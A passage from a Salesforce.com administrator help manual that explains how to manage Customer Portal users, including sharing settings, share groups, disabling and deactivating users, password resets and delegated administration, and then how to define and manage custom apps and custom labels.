2. In the Sharing Settings for High Volume Customer Portal Users section, click Set Up or Edit next to an object.
Note:

• Objects with Set Up in the Action column have not been customized for high-volume Customer Portal user
access. Until you configure them, their access is determined by the organization-wide sharing setting.
• Custom objects only display if the Available for Customer Portal field is selected. See Managing
Custom Objects on page 1374.

3. Grant access based on an account or contact lookup:

• To grant access to all High Volume Customer Portal users on an account, select All High Volume Customer
Portal users whose account matches and then select a field. For example, choose this option if you want all
High Volume Customer Portal users in an account to access all of the cases for their account.
• To grant access to an individual contact as a high-volume Customer Portal user, select Only the high-volume
Customer Portal user who matches and then select a field. For example, choose this option if you want
individual High Volume Customer Portal users to only access cases associated with their contact.

1344
Customer Portal About Customer Portal User Management

• To prohibit access to all High Volume Customer Portal users, select Don't grant access to High Volume
Customer Portal users.

4. Choose an access level of Read Only or Read/Write.


5. Click Save.

Your settings apply to all of your organization's Customer Portals.

See Also:
Working with Customer Portal Users
About Customer Portal User Management
Configuring User Access to the Customer Portal
Setting Visualforce Page Security

Sharing Records Owned by High Volume Customer Portal Users to Salesforce.com Users

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To share records owned by High Volume Customer Portal “Customize Application”
users to Salesforce.com users:

Note:

• High-volume Customer Portal users include both the High Volume Customer Portal User and Authenticated
Website User license types.
• The High Volume Customer Portal User user license is currently available through a pilot program, while the
Authenticated Website User user license is generally available. For information on enabling High Volume Customer
Portal users, contact salesforce.com.

High-volume Customer Portal users are limited-access portal users intended for organizations with many thousands to millions
of portal users. Unlike other portal users, High Volume Customer Portal users don't have roles, which eliminates performance
issues associated with role hierarchy calculations. Because High Volume Customer Portal users are not in the role hierarchy
while Salesforce.com users are, a share group allows you to specify the Salesforce.com users who can access records owned by
High Volume Customer Portal users. Each Customer Portal has its own share group.
To specify the Salesforce.com users who can access records owned by High Volume Customer Portal users:

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


2. Click the name of a Customer Portal.
3. Click the Share Group Settings subtab.
4. Click Activate to turn on the share group.
Activating the share group can take a while. An email is sent to you when the process finishes.

1345
Customer Portal Working with Customer Portal Users

Note: Deactivating a share group removes all Salesforce.com users' access to records owned by High Volume
Customer Portal users. An email isn't sent to you when the deactivation process finishes.

5. Click Edit to add Salesforce.com users to the share group:

a. From the Search drop-down list, select the type of member to add.
b. If you don't see the member you want to add, enter keywords in the search box and click Find.
c. Select members from the Available Members box, and click Add to add them to the group.
d. Click Save.

See Also:
Granting High Volume Customer Portal Users Access to Objects
Working with Customer Portal Users
About Customer Portal User Management
Configuring User Access to the Customer Portal

Working with Customer Portal Users


Available in: Enterprise, Unlimited, and Developer Editions

Some common tasks when managing Customer Portal users include:

• Setting up the Customer Portal for users


• Enabling Customer Portal users individually from the Contacts tab
• Disabling and deactivating Customer Portal users
• Disabling Customer Portal accounts
• Changing Customer Portal users' information and roles
• Changing Customer Portal users' accounts
• Merging Customer Portal users
• Resetting Customer Portal users' passwords
• Viewing Customer Portal users' user licenses
• Granting High Volume Customer Portal users access to object's records
• Sharing High-volume Customer Portal users' records with Salesforce.com users
• Managing Customer Portal users' profiles
• Assigning profiles to a Customer Portal
• Delegating Customer Portal user management and case and contact management to portal users
• Reporting on Customer Portal users

1346
Customer Portal Working with Customer Portal Users

Tip: To troubleshoot issues for Customer Portal users, click Work with Portal and choose Login As Portal User on
the portal user's contact detail page. This selection opens a new browser window and automatically logs you into the
portal as the portal user. This option also ensures that the portal is configured appropriately.
The Login As Portal User button is only available if you have the “Edit Self-Service Users” permission and “Edit”
access on the account. The Login As Portal User button does not display for inactive portal users.

See Also:
About Customer Portal User Management
Configuring User Access to the Customer Portal
Granting High Volume Customer Portal Users Access to Objects

Editing Customer Portal User Information


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Customer Portal users: “Edit Self-Service Users”
To create, edit, and delete profiles: “Manage Users”
To create, edit, and delete page layouts: “Customize Application”
To set field-level security: “Customize Application”
To set sharing rules: “Manage Users”

You can edit Salesforce.com Customer Portal user information for contacts associated with accounts you have permission to
access. To edit information for a Customer Portal user:

1. Click Setup ➤ Manage Users ➤ Users.


2. Click Edit next to a user’s name.
3. Change the necessary information and click Save. If you want to deactivate a user so that he or she can no longer access
your organization, make sure the Active box is unmarked.

Tips for Editing Customer Portal User Information


Consider the following when editing Customer Portal user information:
• You can create a custom list view to display only Customer Portal users by filtering on the Customer Portal Manager
license type, Customer Portal User license type, or both. For example, use the criteria “License Type equals Customer
Portal User, Customer Portal Manager.”
• If you change a user’s email address and Generate new password and notify user immediately is unchecked,
a confirmation message will be sent to the new email address that you entered. The user must click the link provided in
that message for the new email address to take effect. This process is to ensure system security. When generating a new
password for a user, the new password is automatically sent to the user’s email address and email verification is not enforced.

1347
Customer Portal Working with Customer Portal Users

• You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so
that when they log in to your portal they receive a welcome message with their name, plus the ability to change their own
portal username, password, locale, language, time zone, and contact information. When portal users change information
about themselves their user record is updated but their contact record is not automatically updated with those changes.

See Also:
About Customer Portal User Management
Disabling and Deactivating Portal Users

Disabling and Deactivating Portal Users


Customer Portal is available in: Enterprise, Unlimited, and Developer Editions
Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed


To disable or deactivate Customer Portal users: “Edit” on the account associated with the Customer Portal
user
AND
“Edit Self-Service Users”

To disable or deactivate partner portal users: “Edit” on the account associated with the partner portal user
AND
“Manage Partners”

There are two ways in which you can remove a customer's access to your Salesforce.com Customer Portal or partner portal.
As described in detail below, disabling a portal user is permanent, while deactivating a portal user is not:
Disabling a portal user
Disabling a portal user includes the following actions:

• Termination of the user's access to your portal


• Removal from all groups, teams, and sharing rules with which the user is associated.
• Permanent loss of the portal user's association with the contact
If you later re-enable a contact for portal access, a new portal user is created that is not related to the previous portal
user record in any way.

We recommend disabling a portal user if:

• A contact was accidentally enabled as a portal user


• The portal user is associated with a duplicate contact
• You do not want a contact to access the portal in the future

1348
Customer Portal Working with Customer Portal Users

Note:

• You can't disable High Volume Customer Portal users.


• Salesforce.com doesn't delete user records, including portal user records. While you can't re-enable a disabled
portal user, you can view and update the record for a disabled user by clicking Setup ➤ Manage Users ➤
Users.

Deactivating a portal user


Deactivating a portal user prevents that user from logging into your portal and gives you the option to remove the user
from any teams in which he or she is a member (for example, case teams and account teams). When you deactivate a
portal user, the portal user record does not permanently lose its association with the contact. You can reactivate the portal
user at any time.
Note: When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the
option to remove the portal user from any teams on which that user is a member.

We recommend deactivating a portal user if you may reactivate the portal user in the future.

Disabling a Portal User


To disable a portal user:
1. On the contact detail page, click Work with Portal and choose either Disable Customer Portal User or Disable Partner
User. On the account detail page of a person account, click Work with Portal and choose Disable Customer Portal
Account.
Person accounts are not available for the partner portal.
2. Click OK.

Deactivating a Portal User


To deactivate a portal user:
1. For the Customer Portal, click Work with Portal and choose View Customer Portal User on the contact or person account
detail page. For the partner portal, click Work with Portal and choose View Partner User on the contact detail page.
Person accounts are not available for the partner portal.
2. Click Edit, and deselect the Active checkbox.
To reactivate a portal user at any time, select the Active checkbox.
3. Click Save.

Tips on Disabling and Deactivating Portal Users


Consider the following when disabling or deactivating portal users (disabling is permanent; deactivating is not):
• You can't delete an active portal user; you can only disable or deactivate his or her access to the portal.
• The following table describes whether you can delete contacts that are associated with portal users:

1349
Customer Portal Working with Customer Portal Users

State of Portal User Associated to Contact Can Delete Contact?


Active portal user No. This is to ensure that the contact is available if you
choose to reactivate the portal user.
Inactive portal user No. This is to ensure that the contact is available if you
choose to reactivate the portal user.
Disabled portal user Yes. Deleted contacts are sent to the Recycle Bin.

• To delete a portal-enabled contact, first disable the portal user, then delete the contact.
• Cases associated with a portal user are not updated in any way when you disable or deactivate the portal user. For example,
if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case is updated
with a new owner.
• Before you disable a partner user, we recommend that you transfer any opportunities owned by the user to another user
who will remain active. This is because when you disable a partner user, any opportunities he or she owns are removed
from your organization's forecast hierarchy (the partner user's role becomes obsolete).
• After you disable a portal user, it may take Salesforce.com up to ten seconds to disable the user. During that time, a portal
user may still perform actions on a portal.
• You can remove the Disable Customer Portal and Disable Partner User buttons from contact page layouts at any time.
Doing so would prevent users with the “Edit Self-Service Users” or “Manage Partners” permissions from disabling portal
users.
• A disabled or deactivated portal user does not count against your organization's available user licenses. However, disabling
or deactivating a portal user does not reduce the number of licenses for which your organization is billed; you must change
your organization's license count to change your billing. See Adding or Subtracting User Licenses on page 2667.
• To disable all portal users associated with an account and permanently delete all of the account's portal roles and groups:
- Click Work with Portal and choose Disable Partner Account on a partner portal account.
- Click Work with Portal and choose Disable Customer Portal Account on a Customer Portal account or Customer
Portal person account.
You can remove the Disable Customer Portal Account and Disable Partner Account buttons from account page layouts
at any time. Doing so would prevent users with the “Edit Self-Service Users” or “Manage Partners” permissions from
disabling portal accounts.
• When you disable a portal user or portal account, the change is tracked in the setup audit trail.
• Portal roles are not removed from disabled portal users associated with person accounts. However, you can remove the
portal roles manually:
1. Click Setup ➤ Manage Users ➤ Users.
2. Select the name of a disabled portal user.
3. Click Edit.
4. Select None from the Role drop-down list.
5. Click Save.

See Also:
Creating Partner Users
Enabling the Customer Portal for Contacts and Person Accounts

1350
Customer Portal Working with Customer Portal Users

Resetting Customer Portal User Passwords


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To reset Customer Portal users' passwords: “Edit Self-Service Users”

If a Salesforce.com Customer Portal user loses his or her password, the user can click the Forgot your password? link on the
Customer Portal login page to have a new password emailed to him or her.
To reset a Customer Portal user's password:

1. Click Setup ➤ Manage Users ➤ Users.


2. Select the checkbox next to the user’s name. Optionally, to change the passwords for all currently displayed users, check
the box in the column header to select all rows.
3. Click Reset Password to have a new password emailed to the user.

Tip: You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal
users so that when they log in to your portal they receive a welcome message with their name, plus the ability to change
their own portal username, password, locale, language, time zone, and contact information. When portal users change
information about themselves their user record is updated but their contact record is not automatically updated with
those changes. For more information about defining home page components and assigning home page layouts, see
Customizing Home Tab Page Layouts on page 1040.

See Also:
About Customer Portal User Management

Delegating Customer Portal User Administration and Portal Super User


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Customer Portal users: “Delegated Portal User Administrator”
To create, edit, and delete profiles: “Manage Users”
To view and edit all cases and contacts for an account: “Portal Super User”

You can delegate some administrative rights to Customer Portal users with the Customer Portal Manager Custom user license.
Delegated Customer Portal user administrators can do the following for users associated with their own account:

1351
Customer Portal Working with Customer Portal Users

• Create new Customer Portal users


• Edit existing Customer Portal users
• Reset passwords for Customer Portal users
• Deactivate existing Customer Portal users
Note: When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the
option to remove the portal user from any teams on which that user is a member.

Delegated Customer Portal user administrators can also view their account's detail page, along with contacts and cases related
to their account via the Accounts tab. In addition, delegated Customer Portal user administrators automatically receive the
“Portal Super User” permission. This permission lets delegated Customer Portal user administrators do the following for their
own account:

• View and edit all cases


• Create cases for contacts
• View and edit all contacts, whether portal enabled or not
• Report on all contacts, whether portal enabled or not, if the Reports tab is added to your Customer Portal and the user
has the “Run Reports” permission

You can add just the “Portal Super User” permission to the profiles of portal users (except for High Volume Customer Portal
users) so that they can view and edit all cases and contacts for their account, without having the ability to manage other portal
users. However, portal super users cannot view the Contacts tab on the Customer Portal without the “Delegated Portal User
Administrator” permission. To edit contacts, portal super users must select a contact from a case record. For more information,
see:

• Delegating Customer Portal User Administration Rights


• Providing Users with the “Portal Super User” Permission
• Tips on Setting Up Delegated Customer Portal User Administration

Delegating Customer Portal User Administration Rights


To delegate Customer Portal User Administration Rights:
1. Click Setup ➤ Manage Users ➤ Profiles and click a custom Customer Portal profile.
You can't add delegation rights or the “Portal Super User” permission to the standard Customer Portal Manager, Customer
Portal User, or High Volume Customer Portal User profiles.
2. Click Edit.
3. Select Delegated Portal User Administrator.
When you select Delegated Portal User Administrator, the Portal Super User is automatically selected after you click
Save.
4. Click Save.
5. In the Delegated Portal Profiles related list, click Edit.
6. Select the Customer Portal profiles you want users with this profile to be able to administer.
7. Click Save.
To change which profiles a delegated Customer Portal user administrator can edit:
1. Click Setup ➤ Manage Users ➤ Profiles and click a custom Customer Portal profile.
2. Click Edit in the Delegated Portal User Profiles related list.
3. Select the Customer Portal user profiles you want this profile to be able to administer.

1352
Customer Portal Working with Customer Portal Users

4. Click Save.
Delegated Customer Portal administrators can perform the following tasks from a contact's detail page:
• Click Enable Customer Portal User to allow a contact to use a Customer Portal.
• Click View Customer Portal User to view the Customer Portal user's details. From a Customer Portal user's detail page,
delegated Customer Portal users can:
- Click Edit to edit a Customer Portal user's details.
- Click Reset Password to reset the Customer Portal user's password.
- Click Edit and deselect the Active checkbox to deactivate the user.

Providing Users with the “Portal Super User” Permission


To provide users with the “Portal Super User” permission:
1. Click Setup ➤ Manage Users ➤ Profiles and click a custom Customer Portal profile.
You can't add the “Portal Super User” permission to the standard Customer Portal Manager and Customer Portal User
profiles.
2. Click Edit.
3. Select Portal Super User.
4. Click Save.
You can't add the “Portal Super User” permission to the High Volume Customer Portal User profile.
Tip: To report on profiles with the “Portal Super User” permission:
1. Note the names of profiles with the “Portal Super User” permission.
2. Select the Reports tab.
3. From the Administrative Reports folder, select the All Active Users report.
For more information, see Administrative Reports on page 2130.

Tips on Setting Up Delegated Customer Portal User Administration


Consider the following when setting up delegated Customer Portal User Administration:
• On the profile of users you are granting delegated portal administration:
- Add the “Delegated Portal User Administrator” permission.
The “Portal Super User” permission is automatically added when you add the “Delegated Portal User Administrator”
permission and click Save.
- Add the “Create” and “Edit” permissions on contacts so that delegated portal administrators and users with the “Portal
Super User” permission can create and update contacts related to their account.
- Set the tab setting for Accounts and Contacts to Default On so that delegated portal administrators can view the
Accounts and Contacts tabs and easily manage contacts related to their accounts.
- For more information on the above items, see Viewing and Editing Profiles on page 465.

• Add the Accounts and Contacts tabs to your Customer Portal. See Customizing Your Customer Portal Tabs on page 1323.
• Set field-level security and page layouts so that delegated Customer Portal user administrators and portal super users can
only access the account, contact, and case fields you specify. See Setting Field-Level Security on page 540 and Managing
Page Layouts on page 1012.

1353
Customer Portal Working with Customer Portal Users

Note: To allow portal super users to create cases for contacts other than themselves, set the field-level security on
the Contact Name field on cases to Editable.

• Note that Customer Portal users are automatically prevented from viewing related lists to objects which they do not have
access. For example, if a Customer Portal user views a contact, and the contact page layout includes the Opportunities
related list, the portal user cannot view the Opportunities related list because portal users do not have access to opportunities.
• Delegated Customer Portal user administrators can update portal users on any account to which they are transferred.
• You can set account sharing rules to extend delegated Customer Portal user administrators' access beyond their own
accounts. See Setting Sharing Rules on page 536.

See Also:
About Customer Portal User Management

1354
BUILDING AND EXTENDING APPS

App Setup Overview


The available setup options vary according to which Salesforce.com Edition you have.

The App Setup page, accessed by clicking Setup ➤ App Setup, contains options to customize Salesforce.com, and build,
deploy, and manage applications.
Customize
Customize the standard tabs and types of records, including adding custom fields and setting page layouts. You can also
customize search, tagging, and user interface options for your organization.

Create
Use point-and-click tools to customize Salesforce.com and build your own applications to meet the needs of your business.
These tools do not require any programming knowledge.

Develop
Use Salesforce.com development tools to customize Salesforce.com and build your own applications. These tools may
require some programming knowledge.

Deploy
Monitor the deployments of setup configuration from Force.com IDE, Force.com Migration Tool, and other clients.
Note: Force.com IDE is a resource provided by salesforce.com to support its users and partners, but is not
considered part of our Services for purposes of the salesforce.com Master Subscription Agreement.

View Installed Packages

View and manage the packages that have been installed from Force.com AppExchange.

Critical Updates
Control when critical updates are enabled in your organization.

1355
Building and Extending Apps Customization Overview

Customization Overview
The available customization options vary according to which Salesforce.com Edition you have.

User Permissions Needed


To view setup options: “View Setup and Configuration”
To customize your organization: “Customize Application”

You can customize each of the standard tabs and types of records, including adding custom fields and setting page layouts.
You can also customize search, tagging, and user interface options for your organization. In addition, every Contact Manager,
Group, Professional, Enterprise, and Unlimited Edition user can customize various personal display options.
To tailor Salesforce.com for your organization, you can customize the display of the various tabs and other items. Click Setup
➤ Customize and then select a link to view the following customization options:
Tab Names and Labels
Rename the labels for standard Salesforce.com tabs and fields.

Home
Add a logo, dashboard, or links to the Home tab and create additional home page layouts for different users.

Activities
Customize various options for tasks and events such as fields, page layouts, record types, validation rules, search layouts,
and buttons. Also, enable or disable functionality like activity reminder popups and recurring events.

Campaigns
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also
configure Campaign Influence.

Campaign Member
(Located under Campaigns) Edit fields, create validation rules and triggers, control the layout, and create custom
buttons and links.

Leads
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up lead queues, assignment rules, lead settings, and online lead capture.

Accounts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up account
teams.

1356
Building and Extending Apps Customization Overview

Person Accounts
(Located under Accounts) Control the layout of fields, related lists, and custom links, and manage record types.

Contacts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.

Opportunities
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up team
selling.

Opportunity Products
(Located under Opportunities) Customize the standard fields, create custom fields, and control the layout of fields
on product pages within the Opportunities tab.

Quotes
Customize the standard picklists, create custom fields and custom links, and control the layout of fields, related lists,
and custom links.

Quote Line Items


(Located under Quotes) Customize the standard fields, create custom fields, and control the layout of fields on
quote line item pages.

Forecasts
Customize your fiscal year settings, forecast period, default view, and forecast hierarchy. These options are only available
if your organization has enabled customizable forecasting.

Cases
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up case queues, case contact roles, assignment, auto-response, and escalation rules, and support settings.

Case Team
(Located under Cases) Define case teams and case team roles for your organization.

Email Messages
(Located under Cases) Create triggers for Email-to-Case or On-Demand Email-to-Case messages.

Case Comments
(Located under Cases) Create triggers for case comments.

Entitlement Management
Set up entitlement management so that support reps can verify if customers are eligible for support and provide the
correct service levels to your customers.

1357
Building and Extending Apps Customization Overview

Entitlements
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types and templates.

Entitlement Contacts
(Located under Entitlements) Customize the standard fields.

Service Contracts
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types.

Contract Line Items


(Located under Service Contracts) Customize the standard fields, create custom fields and custom links, control
the layout of fields, related lists, custom links, and create record types.

Self-Service
Set up your public solutions, online case capture, and the Self-Service portal.

Call Center
Configure the Salesforce CRM Call Center by defining call centers, adding directory numbers, and customizing SoftPhone
layouts.

Contracts
Customize the standard picklist, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
the contract expiration notices for your organization and configure auto-calculation of contract end dates.

Solutions
You can customize the standard solution picklists, create custom fields and custom links, control the layout of fields,
related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.

Products
For Enterprise, Unlimited, and Developer Edition organizations, set up price books, products, and schedules.

Partners
Configure your partner portal or PRM Portal settings.

Salesforce to Salesforce
Enable Salesforce to Salesforce business collaboration both within and across Salesforce.com organizations.
Connection Finder
(located under Salesforce to Salesforce) Enable the ability to email partners a survey asking if they use Salesforce.com.
Also, customize default template used for the email and logo used for the survey.

Customer Portal
Enable the Customer Portal for your organization.

1358
Building and Extending Apps Customization Overview

Ideas
Customize the standard picklists, create custom fields, and control the layout of fields for Enterprise, Unlimited, and
Developer Edition organizations. You can also establish comment validation rules and manage your communities.

Assets
Customize the standard fields, create custom fields, control the layout of fields on asset pages, set search results layouts,
and create custom links.

Territories
For Enterprise, Unlimited, and Developer Edition organizations, create and edit custom territory fields.

Users
Create custom fields and custom links for users.

Console
Create console layouts that display pertinent information to users.

Tags
Enable personal and public tags for your organization. You can also delete personal tags.

Reports & Dashboards


Customize user interface and email settings for reports and dashboards.

Search
Optimize search settings for your organization.

User Interface
Enable Quick Create, collapsible page sections, related list hover links, and customize the sidebar for your organization,
among other options.

See Also:
Customizing Home Tab Page Layouts
Customizing Fields
Setting Custom Buttons and Links
Managing Page Layouts
Managing Multiple Business Processes
Managing Record Types
Managing Folders
Renaming Tab and Field Labels

1359
Create App Builder Tools Overview

CREATE

App Builder Tools Overview


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The platform includes innovative point-and-click app builder tools that give you the power to customize Salesforce.com to
meet the needs of your business. You can also build your own applications to share and store information that is important to
you. These tools do not require any programming knowledge. Click Setup ➤ Create to access the following options.
Apps
Build your own applications by defining groups of standard and custom tabs.

Custom Labels
Create custom text values that can be used in multilingual apps.

Objects
Create custom data and custom related lists to store and display information unique to your organization.

Packages
Create collections of items such as apps, objects, workflow rules, or email templates, and upload them on Force.com
AppExchange to be shared with others.

Report Types
Available in Professional, Enterprise, Unlimited, and Developer Editions only. Create custom report types so that your
users have more power and flexibility while building custom reports.

Tabs
Create tabs to display and edit the data in your custom objects or embed web content and applications within the user
interface.

Workflow and Approvals


Available in Enterprise, Unlimited, and Developer Editions only. Create automated business processes that send email
alerts, assign tasks, update fields, and set outbound messages to external services.

The platform also includes app builder tools that require some programming knowledge. Tools that require advanced
programming knowledge are located at Setup ➤ Develop.

See Also:
App Setup Overview

1360
Create What is an App?

What is an App?
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps: “View Setup and Configuration”
To manage apps: “Customize Application”

An “app” is a group of tabs that works as a unit to provide application functionality. Salesforce.com provides standard apps
such as Sales and Call Center. You can customize the standard apps to match the way you work.
You can also build your own on-demand apps by grouping standard and custom tabs into new custom apps. A custom app
consists of a label, a description, and an ordered list of tabs. You can also set custom logos for your custom apps. With custom
apps, you can extend the kinds of information that you manage and share online beyond CRM. Custom apps are part of the
Force.com platform that allows you to create and share custom applications with other Salesforce.com users. For information
about sharing apps that you have built, see Overview of Packages on page 1488.
Your available custom apps are listed in the Force.com app menu, which is a drop-down list that displays at the top of every
Salesforce.com page. When you choose an app from the Force.com app menu, your screen changes to reflect the contents of
that app. For example, if you switch from an app that contains the Opportunities tab to another app that does not, the
Opportunities tab will disappear, and the Opportunity option will no longer appear in the Create New drop-down list in the
sidebar. In addition, the app may display a different initial or default landing tab when selected.
Apps are associated with profiles. Profiles control which tabs you can see or hide, as well as which apps are available to you.
You can personalize the tabs in your apps as much as your profile allows. For information about personalizing the tabs you
see, refer to Customizing Your Display on page 34.
Note: For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app
listed in the Force.com app menu. For details about specifying a unique label for the Platform standard app, see
Defining Custom Apps on page 1362.

See Also:
Defining Custom Apps
Managing Apps
Overview of Packages
Managing Packages
Glossary
Managing Profiles

1361
Create Defining Custom Apps

Defining Custom Apps


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps: “View Setup and Configuration”
To manage apps: “Customize Application”

Define custom apps to build on-demand applications for your users. See Salesforce.com Editions and Limits on page 1584 for
the total number of custom apps you can define.
To define custom apps:

1. Click Setup ➤ Create ➤ Apps.


2. Click New.
3. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name
in the Force.com app menu.
4. Optionally, enter a description of the app.
5. Click Next.
6. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library.
Consider these requirements when choosing a custom app logo from the document library:

• The image must be in GIF or JPEG format and less than 20 KB in size.
• If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
• For the best display on-screen, we recommend you use an image with a transparent background.
• The Externally Available checkbox must be selected on the document's properties so that users can view the
image.

7. Click Next.
8. Click the left and right arrow buttons to add or remove tabs from the app.
9. Click the up and down arrow buttons to define the order in which the tabs will display in the app.
10. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the list
of selected tabs. This determines the first tab a user sees when logging into this app.
11. For Professional Edition users, click Save to finish the wizard. For Enterprise or Developer Edition users, click Next.
12. Check the Visible box to choose the user profiles for which the app will be available.
13. Check the Default box to set the app as that profile’s default app. This means that new users who have the profile will
see this app when they log in for the first time. Profiles with limits are excluded from this list.
14. Click Save to finish the wizard.

See Also:
Managing Apps
What is an App?

1362
Create Managing Apps

Managing Apps
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps: “View Setup and Configuration”
To manage apps: “Customize Application”

You can customize the standard and custom apps in your organization. Click Setup ➤ Create ➤ Apps to display a list of
your organization’s apps.

• To view details for an app, click the app Label. This displays the properties of the app, such as which tabs are part of the
app, including any tabs that are not yet deployed.
• To change the properties of an app, click Edit. For details, see Editing App Properties on page 1363.
• To remove a custom app, click Del. Standard apps cannot be deleted.
• To create a new custom app, click New. For details, see Defining Custom Apps on page 1362.
• To change the order of apps in the Force.com app menu, click Reorder. For details, see Reordering the Force.com App
Menu on page 1364.
For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed in the
Force.com app menu.

For details about uploading an app to Force.com AppExchange, see Preparing Your Apps for Distribution on page 1509.

See Also:
What is an App?

Editing App Properties


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps: “View Setup and Configuration”
To manage apps: “Customize Application”

You can change the properties of the standard and custom apps in your organization. For example, you can specify a custom
logo for a custom app, or you can specify which tabs are available in a standard or custom app. Note that you cannot change
the label, description, or logo for a standard app.

1363
Create Managing Apps

To edit the properties of an app:

1. Click Setup ➤ Create ➤ Apps.


2. Click Edit next to the app you want to modify.
3. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name
in the Force.com app menu.
4. Optionally, enter a description of the app.
5. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library.
Consider these requirements when choosing a custom app logo from the document library:

• The image must be in GIF or JPEG format and less than 20 KB in size.
• If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
• For the best display on-screen, we recommend you use an image with a transparent background.
• The Externally Available checkbox must be selected on the document's properties so that users can view the
image.

6. Click the left and right arrow buttons to add or remove tabs from the app.
7. Click the up and down arrow buttons to define the order in which the tabs will display in the app.
8. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the
list of selected tabs. This determines the first tab a user sees when logging into this app.
9. Optionally, select the Overwrite users' personal custom app customizations checkbox to override any app
personalizations users may have made.
10. Check the Visible box to choose the user profiles for which the app will be available.
11. Check the Default box to set the app as that profile’s default app. This means that new users who have the profile will
see this app when they log in for the first time. Profiles with limits are excluded from this list.
12. Click Save.

See Also:
What is an App?
Managing Apps

Reordering the Force.com App Menu


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps: “View Setup and Configuration”
To manage apps: “Customize Application”

You can change the order in which apps appear in the Force.com app menu. The Force.com app menu is a drop-down list
that displays at the top of every application page.

1364
Create Custom Labels Overview

1. Click Setup ➤ Create ➤ Apps.


2. Click Reorder.
3. Click the arrows as desired to change the app order.
4. Click Save. The changes will take effect immediately.

See Also:
What is an App?
Defining Custom Apps
Managing Apps

CUSTOM LABELS

Custom Labels Overview


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels: “Customize Application”
Create or override a translation: “Manage Translation”
OR
“View Setup and Configuration” and be designated as a
translator

Custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. The values can be translated
into any language Salesforce.com supports. Custom labels enable developers to create multilingual applications by automatically
presenting information (for example, help text or error messages) in a user's native language.
You can create up to 5,000 custom labels for your organization, and they can be up to 1,000 characters in length.
To access custom labels, click Setup ➤ Create ➤ Custom Labels. From this page, you can:

• Create a new custom label or edit an existing custom label.


• View an existing custom label. From the view page, you can create or edit a translation in a language used by your
organization.

To add a custom label to your application, use the following steps:

1. Create a new custom label.


2. Translate the value of the label into the languages supported by your application.

1365
Create Creating and Editing Custom Labels

3. Call the label using either an Apex class or a Visualforce page. Custom labels are called in Apex using
System.Label.Label_name. For Visualforce, use the $Label global variable.
4. Include the label in your application when you package it for the AppExchange.
Tip: If an Apex class or Visualforce page references a custom label, and that label has translations, you must
explicitly package the individual languages desired in order for those translations to be included in the package.

See Also:
Creating and Editing Custom Labels
Viewing Custom Labels
Creating and Editing Custom Label Translations
Setting Up the Translation Workbench

Creating and Editing Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels: “Customize Application”
Create or override a translation: “Manage Translation”
OR
“View Setup and Configuration” and be designated as a
translator

To create or edit a new custom label:

1. From Setup ➤ Create ➤ Custom Labels, click New Custom Label to create a new label, or click Edit next to the custom
label you want to edit.
2. In the Short Description text box, enter an easily recognizable term to identify this custom label. This description is used
in merge fields.
Note: You cannot change the language of an existing custom label.

3. If you are creating a new custom label, in the Name text box, enter the name the label uses. This value is used in Apex
scripts and Visualforce pages to reference the custom label. Names must contain only alphanumeric characters, start with
a letter, contain no spaces or double underscores, and be unique from all other labels in your organization.
4. Check the Protected Component check box to mark the custom label as protected. For more information, see the
Force.com Quick Reference for Developing Packages.

1366
Create Viewing Custom Labels

5. In the Categories text box, enter text to categorize the label. This field can be used in filter criteria when creating custom
label list views. Separate each category with a comma. The total number of characters allowed in the Categories text box
is 255.
6. In the Value text box, enter text up to 1,000 characters. This value can be translated into any language Salesforce.com
supports.
